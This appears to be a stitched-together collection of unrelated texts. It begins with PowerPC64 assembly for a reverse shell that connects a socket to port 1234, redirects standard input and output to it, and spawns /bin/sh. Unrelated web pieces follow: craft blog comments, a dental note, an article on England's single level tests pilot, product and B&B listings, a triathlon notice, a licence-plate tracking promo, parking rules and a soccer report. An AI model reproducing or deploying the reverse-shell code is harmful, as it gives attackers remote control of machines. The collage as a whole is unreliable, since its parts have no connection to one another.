.file	"nix_reverse.c"
	.abiversion 2
	.section	".toc","aw"
	.section	".text"
	.section	.text.startup,"ax",@progbits
	.align 2
	.globl main
	.type	main, @function
main:
0:	addis 2,12,.TOC.-0b@ha
	addi 2,2,.TOC.-0b@l
	.localentry	main,.-main
  // 1 is stack pointer
	mflr 0               // get the link register in 0
	std 31,-8(1)         // save 31
	li 4,1               // 4 = SOCK_STREAM
	li 5,0               // 5 = IPPROTO_IP
	li 3,2               // 3 = AF_INET
	std 0,16(1)          // 1[16] = 0
	stdu 1,-80(1)        // save stack pointer
	bl socket

	nop
	li 9,2               // 9 = AF_INET
	li 5,16              // 5 = sizeof(sa)
	addi 4,1,32          // 4 = 1 + 32
	sth 9,32(1)          // sa.sin_family = AF_INET
	li 9,-11772          // port 1234
	mr 31,3              // save socket in 31
	sth 9,34(1)          // sa.sin_port = htons(1234)
	lis 9,0x100          // load 0x100
	ori 9,9,127          // store 127
	std 9,36(1)          // sa.sin_addr = 127
	bl connect

  nop
	li 4,0                // fd = FILENO_STDIN
	mr 3,31               // 3  = s
	bl dup2

  nop
	li 4,1                // fd = FILENO_STDOUT
	mr 3,31               // 3  = s
	bl dup2

  nop
	li 4,2                // fd = FILENO_STDERR
	mr 3,31               // 3  = s
	bl dup2

  nop
	addis 3,2,.LC0@toc@ha // Add Immediate Shifted
	li 9,0
	addi 3,3,.LC0@toc@l
	addi 4,1,48           // 4 = argv
	li 5,0                // env = 0
	std 9,56(1)           // argv[1] = 0
	std 3,48(1)           // argv[0] = "/bin/sh"
	bl execve

  nop
	addi 1,1,80
	li 3,0
	b _restgpr0_31
	.long 0
	.byte 0,0,0,1,128,1,0,0
	.size	main,.-main
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"/bin/sh"
	.ident	"GCC: (Debian 4.9.2-10) 4.9.2"
	.section	.note.GNU-stack,"",@progbits


The Cutest Photo Ornaments/Magnets Ever!
Could they be any cuter???? The kids got frustrated and bored with the project and I ended doing it all alone until the wee hours of the night, but I had a blast!
I love how my little “Santa” is perched on my “DREAM” letters on a shelf in my bed room.
I will post more pictures tomorrow of the ones the kids made, my niece made the cutest magnet pixie of herself, by just hot gluing a circle magnet to the back. What mom, grandmother, aunt, uncle wouldn’t want to display these little cuties year round on their refrigerator or at the office? These would make awesome gifts! Check out Wendy's Pixie Tutorial at the Shabby Nest.
These are so extremely cute. I love it! I can't wait to try doing this. Thanks for sharing!!!
Aw, how adorable! These turned out so cute!
Oh my...these are so cute! What a cute idea!! My kids are in HS and College but I think I am going to dig up some older photos and make these as a surprise for them. Thanks for sharing these! I love them!
aww, this is SOOO adorable! I love this idea.


Professional dental cleaning can be performed at our office. We recommend that prophylaxis be performed twice annually as a preventative measure, but should be completed every 3-4 months for periodontitis sufferers. It should be noted that gum disease cannot be completely reversed, but dental prophylaxis is one of the tools Dr. Strumwasser can use to effectively halt its progression.


SATs could be on their way out but their proposed replacement - single level tests - is not proving to be the panacea many had hoped for, according to feedback from the pilot scheme. Liz Lightfoot reports.
While reform of the national curriculum tests has been on the cards since the DCSF's Making Good Progress consultation in January 2007, this summer's SATs fiasco gave ministers an extra incentive to overhaul Key Stage 3 and 4 exams.
However, since the government pledged to rethink assessment at 11 and 14 and in the same breath gave assurances that league tables were here to stay, it has looked remarkably like a Hobson's choice for the profession.
Around 450 schools, 77 of them middle or secondary, have been trying out the planned changes to assessment over the last year as part of the Making Good Progress pilot.
With the trial at its halfway point the Qualifications and Curriculum Authority is now studying the results of the first year as schools embark on the second. At the end of the summer term, ASCL also sought feedback from members who had participated in the pilot.
Announcing the Making Good Progress trials in June 2007, three weeks before he left for the Department of Health, education secretary Alan Johnson likened the new regime to graded music tests.
Children would sit single level tests 'on demand' when they were ready for them instead of waiting until the end of each key stage; there would be money for one-to-one tuition, a trial of a new assessment measure - Assessing Pupil Progress; and new targets for children moving two levels in each key stage with proposed 'progress' bonuses for schools that met them.
"We think that good tracking by teachers, confirmed by shorter, more frequent tests, will help schools to personalise each child's learning," he said.
The proposal was welcomed, cautiously, by those including ASCL who sensed a weakening of the Government's testing regime. ASCL, however, issued this warning: "The clear statement of assessment for learning and endorsement of it is welcome. However, it should be remembered that high-stakes, externally marked tests are antipathetic to assessment for learning."
ASCL has since voiced concerns to the government about the single level tests, pointing out that they could do even more to narrow the curriculum and encourage teaching to the test.
And 15 months on, what do the secondary schools in the pilot have to say about the tests? As so often in education policy, the reality has not lived up to much of the rhetoric.
"Our experience was overwhelmingly negative," says Alan Hardie, the deputy headteacher of Whitburn C of E School in South Tyneside.
"We feel very strongly that the tests being at a single level disadvantages pupils. All other tests they face are on an incline of difficulty, allowing them to build up confidence on the easier questions before tackling the more difficult ones. In single level tests there is far less scope for this."
Other schools were more optimistic, saying single levels on demand are better than the present 'big bang' system and hoping they can mould the changes to feed into the new emphasis on personalised learning and curriculum innovation.
One thing on which everyone agrees is that the first tests last December were not a success.
"We learned very little from the first round, due to the excessive security surrounding the examination papers. We were not allowed to keep a copy or even photocopy any of the test papers. No mark scheme was issued and the papers were not returned for scrutiny," says Alan.
Christine Wright, the head of St Wilfrid's RC College in South Shields agrees that children were put off by questions on too steep a curve in the December round which she describes as "a disaster" but says the June series went better.
"Pupils came out more confident that they understood what the questions were asking but no results have been received and we are told they won't be available until October," she says.
The problem with single level tests, says Christine, is that they can destroy a child's confidence because if they fail to reach that level, they come out with nothing. Though she welcomes the flexibility to put children in for tests when the teachers think they are ready, they should cover more than one level, as at present, she says.
"Administratively the single level tests were a nightmare according to our very efficient examinations officer," she adds. "The pilot is failing to make use of the sophisticated and efficient IT systems in schools."
Managing a system of children of the same age taking tests at different levels at different times has been "a bit of a nightmare," says Andrew Rannard, the assistant head of Notre Dame Catholic School in Liverpool, another secondary pilot school.
"It's problematic and difficult to timetable but I would rather ask the question and find out whether we can do it than not pose the question in the first place," he says.
Can single level testing help children progress?
"It depends on how schools approach it. Some schools could be quite cynical and keep entering students for level tests until they pass but we have taken the view that we will rely on the professionalism of the teachers and enter pupils only when the teachers say they are comfortably at a level," says Andrew. "We regard it as a confirmation of what the teachers say a child can do.
"The good news is that it gives us a choice of looking at each student and thinking 'is she prepared to take the test now or should we hold back?' Unfortunately it is not really on demand because pupils still have to sit them on the same date but two dates are better than one. My impression is that the DCSF is looking to increase it to termly."
If single level testing works it could feed into other changes in the curriculum, opening up possibilities for making judgements on individuals which lead to them being able to start work on GCSE early and to vertical groupings based on progress rather than age and year, he says.
Cotswold School in Gloucestershire would also like to see testing 'on demand' mean what it says, with teachers able to access the tests throughout the year.
"The idea of testing when ready has the potential to be more flexible," says Richard Thompson, deputy head of the school, which is taking part in the pilot. "We are quite positive about what it could do but there is work to be done on the practicalities."
The ASCL survey of participating schools found support for when ready entry and relief that more than one date addressed the problem of pupil absence on test days. Some schools liked the way single levels could be used to fast track to GCSE; others said they didn't need national tests to help them decide which ones to accelerate.
One school liked the way the tests provided focus in year 8 and another said it was helpful that children in primary and secondary schools could sit the same papers. But some pronounced single levels worse than the present system and urged a move to national sampling. If the government wants to help teachers assess pupil progress, National Curriculum tests, multi or single level, are the wrong way of going about it, says John Fairhurst, the head of Shenfield High School and the chair of ASCL's Education Committee.
"Testing in this way is not an exact science. It's an abuse of the instrument to attempt to use a broad brush to paint a fine picture," he says.
Modern technology could be used to provide a bank of tests on functional skills which could form part of a portfolio of evidence of a child's level and progress overseen by chartered assessors, he says.
Secretary of State Ed Balls appears to be committed to single level testing but conceded to The Times in August that though testing at 11 and 14 must contain an element of external validation, it might take the form of internal marking, validated externally. "Nothing is being ruled out or in," he said.
With confidence in SATs at an all-time low, pressure is on the government to quickly to find an alternative. However, if single level tests are introduced before they have been properly tested and refined, schools could find that the assessment regime get worse before it improves.


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With its striking matte black finish and solid stainless body the TPW™ Matte Black Shaker is awesome as standard. Quite frankly, you’ll never had or ever will experience a better shaker. Industrially engineered to be a rugged companion, it’s designed to be 100% leak free and uses its innovative mixing system to deliver your TPW™ Shakes as we designed them, lump free, smooth in texture and punchy in flavour. Better still, due to its 100% stainless steel design, it’s simple to clean and will be sure to last you from your 1st sip through to your 1000th sip.
- 700ml of pure stainless steel, hand crafted and oozing class with a matte black finish.
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Bewl Rookery’s three bedrooms are located on the first floor. They are accessible via our carpeted staircase which has a handrail. We offer help with luggage on arrival and departure. Our Garden Room is on the ground floor.
Bewl Rookery is well located on the B2100 between Lamberhurst and Wadhurst. It is only 2 miles from the A21 which is the main route from M25 south to Hastings with many beautiful tourist destinations along the way. The driveway is easy to access by car from the B2100. The postcode for satnav is TN5 6HE.
On arrival you can drive up to our front door to unload your bags and then park in our car park. There is ample parking for cars.
There is a footpath from the drive and then a step up onto the paving stones that lead to the front door. Then a small step up into the front door. Inside the front door the floor is level and leads into our Garden Room.
The Garden Room has a tiled floor (with underfloor heating). There are three large double doors that open out onto the patio and to the garden beyond. There is a small step down from the Garden Room to the patio.
The garden is mostly grass and is quite uneven. From the garden you can walk out to our 10 acre paddock. This can be uneven. In summer there is long grass in areas and if the weather is bad it can get wet and muddy. In the area of the paddock near the house is our Bamboozle. A bamboo structure with seats and a table where guests can enjoy breakfast or their morning coffee or afternoon cup of tea. There is a step up into the Bamboozle and benches to sit on around the side.
The bedrooms (which are all upstairs) and landing are all carpeted with new fitted carpets. Bewl Rookery has oil fired central heating with electric underfloor heating in the Willow Room en-suite. As this is an old house there are areas where the roof or doorways are low so please mind your head. No pets have ever been upstairs.
The bedrooms have a mix of feather and synthetic pillows and feather duvets. If you have allergies please let us know.
Daily housekeeping of your room is available.
Willow Room shower is glass (1m x 0.8m) on two sides against a tiled wall with a slip proof base. There are porcelain tiled floors and half-wall with underfloor heating and heated towel rail/radiator. The door into this en-suite is low – mind your head!
Oak Room en-suite shower is glass (1.2m x 0.8m) on three sides against a tiled wall. Slip mat provided. Floor is vinyl.
Mark and Carol live on the premises and are available for advice. We have also provided guest books in each room with local sightseeing information plus safety and fire procedures. Do call or email if you would like any more information. And if you have any specific dietary requests or pillow requests do let me know before arrival. Contact details here.
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Fabulous card and gorgeous little witch. Love the embellishments and papers.
Hi Amanda, what a cute card for Halloween. Thanks for joining us at Noor Design Uk.
Fabulous! Love the layers, the gorgeous papers & embellishments.....and that hair is awesome! Thanks for joining us over at Crafty Calendar this time & good luck!
I love your card. A beautifully coloured image.
Thank you for sharing this with us at Noor Design.
What a stunning and fun Halloween card you have made. It fits our challenge this month well of “Halloween/something spooky”. Thanks for taking part and good luck. Best wishes, Kym (Ching-Chou Kuik Digital Stamps Design Team Leader).
This is just adorable - love that image. Thank you for joining in the Ching-Chou Kuik Challenge this time. Hope to see you again soon.


I ordered this item including shipping to Germany by FedEx. First of all: Incredible fast delivery within 2 business days! Secondly: Assembling was easy, performance of my 2nd HDD using the Atto DiskBenchmark Tool was 120 MB/s - which is exactly what I measured using the internal HDD connector. Therefore: Perfect speed, perfect quality of the item. Thank you! My laptop is now way more valuable to me due to a 2nd HDD with 640 GB.


Now more than ever kids are following in their parents’ footsteps and participating in triathlons. On Sunday, September 25, 2016, the City of Greenwood Village and Greenwood Athletic and Tennis Club (GATC) are hosting the ninth annual Tri-Our-Village Kids Triathlon for ages 5-16. The triathlon will feature four different difficulty levels adjusted according to age group. Participants will run, bike, and swim their way through the course surrounding GATC and Westland’s Park in Greenwood Village.
In fact, the Kids’ Triathlon gives back to the community! Dr. Chip Southern from Greenwood Pediatrics is a sponsor of the Kids Triathlon and his contribution goes to the top three schools with the most participants. The donation goes to providing schools with much-needed equipment for their physical education department. Last year, the top three participants came from the following schools: Cottonwood Creek Elementary, Belleview Elementary and High Plains Elementary.
Early registration for the Kids’ Triathlon ends Saturday, September 17 and the last day to register is Thursday September 22 at 6:00pm.
Greenwood is offering a Kids Triathlon Training Camp to help competitors prepare for the events on September 25. The training camp will take place on September 19, 20 and 21 from 6:00-7:00pm. In these training sessions, kids will practice swimming, biking, running, transitions, and learn race course safety. For more information contact Crystal 303.770.2582 x325 or CrystalG@GreenwoodATC.com or visit greenwoodatc.com/kidstriathlon. Greenwood Athletic and Tennis Club is located at 5801 South Quebec Street, Greenwood Village, CO 80111.


Vehicle location data gives carriers new data to fight claims fraud.
people who commit claims fraud.
ative in their fraud attempts.
About that vehicle location data — where does it come from and how much data is there? Drn collects over 100 million sightings nationwide each month. Those sightings are added to over 4 billion nationwide detections to provide carriers with data to fuel their claims investigations. using our SIu investigative platform, carriers perform license plate searches that provide vehicle sighting images and location data including sighting date and time, maps and GPS coordinates. They can search by plate or by address to find vehicles common to multiple locations for collusive fraud indicators. Tips and leads that are critical to investigation.
just avoided paying a fraudulent claim.
Alex Young is vice president of Risk Solutions and is responsible for developing the insurance market at DRN.


You may not have realised but it’s actually a parking contravention to park adjacent to a dropped kerb at any time.
What is a dropped kerb?
A dropped kerb involves kerb stones being lowered and the pavement being strengthened and made into a ramp. This helps people with pushchairs or in wheelchairs to access the road from the pavement more easily. Dropped kerbs also provide vehicle access to private residences from the road.Why is this not permitted?
Dropped kerbs are there to assist those who need to cross the road safely or for vehicle access. Blocking this access causes a nuisance for other road users and pedestrians.
Motorists who park their vehicles blocking the dropped kerbs also cause an unnecessary danger to people with disabilities or limited mobility and parents with prams who use them to help cross the road.What happens if I park and block a dropped kerb?
From February 2009, Westminster have been enforcing against vehicles parked adjacent to dropped kerbs. This means you could receive a Penalty Charge Notice of £130.00.What legislation permits the local authority to ticket vehicles parked in this way?
London Local Authorities and Transport Act 2003
Traffic Management Act 2004
The restriction applies at any time.


The North Dakota State women’s soccer team was locked in a scoreless tie with Drake University for 84 minutes on Sunday afternoon at Dacotah Field, but the Bulldogs scored in the 85th minute to claim a road victory over the Bison.
Drake sophomore forward Olivia Bruce slipped a shot inside the left post, beating Bison goalkeeper Monica Polgar to take a 1-0 lead in the 85th minute.
The contest did not feature many offensive threats for either side, with Drake managing eight shots and four shots on goal, while the Bison had seven shots in the contest. Senior forward Holly Enderle led NDSU with a pair of shots.
Drake improved to 2-4-0 on the season, while NDSU fell to 1-2-0.
The Bison travel to take on Minnesota on Friday, Sept. 7, before hosting Northern Iowa at Dacotah Field on Sunday, Sept. 9.